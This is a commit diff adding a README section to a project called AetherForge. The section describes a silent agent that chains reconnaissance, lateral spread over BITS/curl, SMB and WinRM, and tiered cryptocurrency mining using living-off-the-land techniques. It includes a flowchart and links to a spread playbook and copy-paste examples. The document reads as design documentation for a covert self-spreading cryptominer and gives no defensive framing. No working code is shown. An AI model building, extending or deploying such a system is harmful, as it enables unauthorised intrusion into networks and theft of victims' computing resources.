Expand LOTL vector glossary, examples, and mermaid architecture docs

README.md

@@ -381,6 +381,25 @@ Every agent operation is **completely silent** — no CMD windows, no PowerShell
 
 ---
 
+## LOTL triple onion architecture
+
+AetherForge chains **recon → deploy → mining** using living-off-the-land tiers only (no third-party droppers in the default preset). Forge **LOTL Onion** bakes spread contingencies; the agent pulls live tier order from Calibrate on connect.
+
+```mermaid
+flowchart LR
+  R[Recon<br/>vuln_recon · service_probe] --> G{patch_first / risk gates}
+  G -->|defer| X[Skip deploy or mining]
+  G -->|proceed| D[Deploy lanes<br/>discover_and_join → bits_curl → smb → winrm]
+  D --> M[Mining tiers<br/>container → inprocess → gpu → stratum_direct]
+  M --> T[Telemetry<br/>lotl_tier · lotl_attempts · mining_hashrate]
+```
+
+Sequential tier attempts: try tier → on fail/skip → next tier until success or exhaustion (`lotl_attempts` audit trail).
+
+**Full glossary** (every vector, definition, copy-paste example): [`tests/README.md`](tests/README.md#lotl-vector-glossary) · **Spread playbook**: [`/docs/SPREAD_TECHNIQUES.html`](server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion) · **Recon test subset**: `scripts/test-suite.ps1 -ReconOnly`
+
+---
+
 ## Project Layout
 
 ```